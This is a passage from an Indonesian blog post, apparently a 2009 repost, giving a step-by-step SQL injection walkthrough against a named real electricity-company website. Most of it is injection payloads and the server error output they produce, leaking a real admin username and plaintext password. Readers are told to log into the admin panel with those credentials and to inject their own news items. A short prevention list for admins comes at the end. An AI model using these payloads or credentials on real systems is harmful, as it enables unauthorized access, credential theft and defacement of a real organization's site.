numerik.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Berikutnya kita inject                                  :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;' union select sum(NIP) from                                  T_ADMIN--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Akan keluar pesan error                                  :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Microsoft OLE DB                                  Provider for ODBC Drivers                                  (0x80040E07)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;[Microsoft][ODBC SQL Server                                  Driver][SQL Server]The sum &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;or average                                  aggregate operation cannot take a char data                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;type as an                                  argument.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;/sipm/admin/dologin.asp, line                                  7&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Artinya kolom NIP                                  bertype char.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Kita harus mengulang                                  perintah di atas untuk kolom yang&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;berikutnya                                  dengan jalan mengganti nama_kolom di :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;'                                  union select sum(nama_kolom) from                                  T_ADMIN--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;dengan kolom yang                                  berikutnya.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Kita peroleh 7 type                                  kolom:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;T_ADMIN.NOMOR =&gt;                                  numeric&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;T_ADMIN.NIP =&gt;                                  char&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;T_ADMIN.PASSWORD =&gt;                                  nvarchar&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;T_ADMIN.NAMA =&gt;                                  char&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;T_ADMIN.KD_RANTING =&gt;                                  char&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;T_ADMIN.ADDRESS =&gt;                                  nvarchar&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;T_ADMIN.EMAIL =&gt;                                  char&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Langkah berikutnya, kita akan                                  mencari isi kolom password,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;untuk user admin,                                  dengan meng-inject :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA &gt; 'a'--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;artinya kita memilih minimum nama                                  user yang lebih besar dari 'a'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;dan mencoba                                  meng-konvert-nya ke tipe integer.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;kolom NAMA, dan mengabaikan 6 kolom                                  yang lain.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Akan keluar pesan error                                  :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Microsoft OLE DB                                  Provider for ODBC Drivers                                  (0x80040E07)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;[Microsoft][ODBC SQL Server                                  Driver][SQL Server]Syntax &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;error converting                                  the varchar value 'bill ' to &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;a column of                                  data type int.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;/sipm/admin/dologin.asp, line                                  7&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Anda lihat                                  :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;varchar value 'bill '&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;'bill' itu adalah nama user di record yang terakhir dimasukkan,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;atau isi kolom NAMA di record                                  yang terakhir dimasukkan.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Selanjutnya                                  kita inject :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;' union select                                  min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;NAMA = 'bill'--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;catatan : harus sebaris                                  (tidak dipotong).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Akan keluar error                                  :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;---------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Microsoft OLE DB                                  Provider for ODBC Drivers                                  (0x80040E07)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;[Microsoft][ODBC SQL Server                                  Driver][SQL Server]Syntax &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;error converting                                  the nvarchar value 'm@mpusk@u' to a &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;column                                  of data type int.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;/sipm/admin/dologin.asp,                                  line 7&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;---------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Artinya kita                                  berhasil !!!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Kita dapatkan &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;[+] NAMA =                                  bill&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;[+] PASSWORD = m@mpusk@u&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Silahkan                                  login ke                                  :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;www.pln-wilkaltim.co.id/sipm/admin/admin.asp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;dengan                                  account di atas, sedang nama cabang, silahkan                                  anda&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;isi sendiri dengan cara coba-coba                                  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Atau kita pakai jalan pintas                                  saja....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Kita inject-kan :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;' union                                  select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;where NAMA ='bill'--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;catatan : harus satu                                  baris.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Duarrrrrr..........&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Glhodhak.............&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Langsung                                  masuk ke menu admin.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Ingat : jangan buat                                  kerusakan ! beritahu sang admin                                  !!!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Lubang ke dua adalah pada bagian                                  berita.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Pada dasarnya berita di situ adalah                                  isi dari tabel yang &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;lain lagi. Jadi tetep                                  bisa kita inject !!!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Bedanya, kita harus                                  memasukkan parameter di alamat                                  URL-nya.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Contoh                                  :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;www.pln-wilkaltim.co.id/dari_Media.asp?id=2119&amp;amp;idm=40&amp;amp;idSM=2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;ada                                  parameter id dan idSM.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Setelah kita coba                                  inject, ternyata yang berpengaruh adalah                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;parameter id aja (CMIIW).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Kita                                  inject-kan                                  :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;www.pln-wilkaltim.co.id/dari_Media.asp?id=2119'                                  having 1=1--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;akan keluar pesan error                                  :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;---------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Microsoft                                  OLE DB Provider for ODBC Drivers                                  (0x80040E14)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;[Microsoft][ODBC SQL Server                                  Driver][SQL Server]Column &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;'tb_news.NewsId'                                  is invalid in the select list because &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;it is                                  not contained in an aggregate function and                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;there is no GROUP BY                                  clause.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;/dari_Media.asp, line                                  58&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;---------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;artinya                                  'tb_news.NewsId' itulah nama tabel dan kolom                                  kita&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;yang pertama.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Ulangi                                  langkah-langkah kita di atas sampai didapatkan                                  :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;tb_news.NewsId =&gt;                                  numeric&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;tb_news.NewsCatId =&gt;                                  numeric&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;tb_news.EntryDate =&gt;                                  datetime&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;tb_news.Title =&gt;                                  nvarchar&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;tb_news.Content =&gt;                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;tb_news.FotoLink =&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;tb_news.FotoType                                  =&gt; bit data&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;tb_news.review =&gt;                                  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;tb_news.sumber =&gt;                                  char&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;tb_news.dateagenda =&gt;                                  datetime&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Nah, selanjutnya adalah tugas                                  anda sendiri untuk mengembangkan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;pengetahuan                                  anda.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Anda bisa men-insert berita yang bisa                                  anda tentukan sendiri &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;isinya.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Inilah                                  mengapa hole di MS-SQL Server ini demikian                                  berbahaya.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Perkiraan saya, nama-nama                                  partai di situs KPU yang di-hack&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;oleh                                  Shizoprenic, juga ada di tabel-tabel suatu                                  database,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;jadi tetep bisa dimasuki dengan                                  cara SQL Injection                                  ini.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;******************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;KHUSUS                                  BUAT ADMIN &amp;amp; WEB PROGRAMMER                                  !!!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;******************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Cara                                  pencegahan yang umum digunakan :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;1. Batasi                                  panjang input box (jika memungkinkan),                                  dengan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;cara membatasinya di kode program,                                  jadi si cracker pemula &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;akan bingung sejenak                                  melihat input box nya gak bisa di&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;inject                                  dengan perintah yang panjang.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;2. Filter input                                  yang dimasukkan oleh user, terutama                                  penggunaan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;tanda kutip tunggal (Input                                  Validation).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;3. Matikan atau sembunyikan                                  pesan-pesan error yang keluar&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;dari SQL Server                                  yang berjalan.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;4. Matikan fasilitas-fasilitas                                  standar seperti Stored Procedures,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Extended                                  Stored Procedures jika memungkinkan.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;5. Ubah "Startup and run SQL Server" menggunakan low privilege user &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;di SQL Server Security                                  tab.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Yah itulah mungkin yang dapat                                  saya ceritakan.....&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Hal itu adalah gambaran,                                  betapa tidak amannya dunia internet...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Kalau                                  mau lebih aman, copot kabel jaringan anda, copot                                  disk&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;drive anda, copot harddisk anda, jual                                  kompie anda !!!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Just kidding                                  )&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;sumber : http://www.sekuritionline.net/plugins/p2_news/printarticle.php?p2_articleid=7&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9220767944369178895-928033668314804717?l=senlest.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://senlest.blogspot.com/feeds/928033668314804717/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://senlest.blogspot.com/2009/05/sql-injection.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/928033668314804717'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/928033668314804717'/><link rel='alternate' type='text/html' href='http://senlest.blogspot.com/2009/05/sql-injection.html' title='SQL Injection'/><author><name>pangeranes</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_pZ3_2XDQFfI/SpmbUPNFDXI/AAAAAAAAAIg/5WZSyhCv73s/S220/in+waterboum.JPG'/></author><thr:total>0</thr:total></entry></feed>
